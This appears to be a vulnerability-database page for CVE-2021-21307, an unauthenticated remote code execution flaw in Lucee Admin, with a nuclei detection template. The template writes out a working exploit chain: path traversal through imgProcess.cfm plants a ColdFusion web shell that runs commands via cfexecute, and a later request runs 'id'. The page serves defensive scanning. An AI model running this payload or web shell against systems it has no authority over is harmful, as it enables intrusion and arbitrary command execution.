Browse / CVEs / CVE-2021-21307
CVE-2021-21307· lucee / lucee server· CWE-862
Lucee Admin - Remote Code Execution
criticalseverity
9.8CVSS score
89.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
How to confirm it
Send: POST /lucee/admin/imgProcess.cfm?file=/whatever ; POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm ; POST /lucee/{{randstr}}.cfm
Positive when: contains "uid=" and "gid=" and "groups=" AND status 200Run it with nuclei: nuclei -id CVE-2021-21307 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-21307
info:
name: Lucee Admin - Remote Code Execution
author: dhiyaneshDk
severity: critical
description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
reference:
- https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
- https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-21307
- http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response
- https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-21307
cwe-id: CWE-862
epss-score: 0.89189
epss-percentile: 0.99782
cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: lucee
product: lucee_server
tags: cve2021,cve,rce,lucee,adobe,vkev,vuln
http:
- raw:
- |
POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
imgSrc=a
- |
POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
imgSrc=
<cfoutput>
<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=test name="cmd" size=50
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse> value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
# HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput>
- |
POST /lucee/{{randstr}}.cfm HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
cmd=id&opts=&timeout=5
matchers-condition: and
matchers:
- type: word
part: body
words:
- "uid="
- "gid="
- "groups="
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"References
- https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
- https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-21307
- http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response
- https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643
Use this check only on systems you are authorised to test. Where the data comes from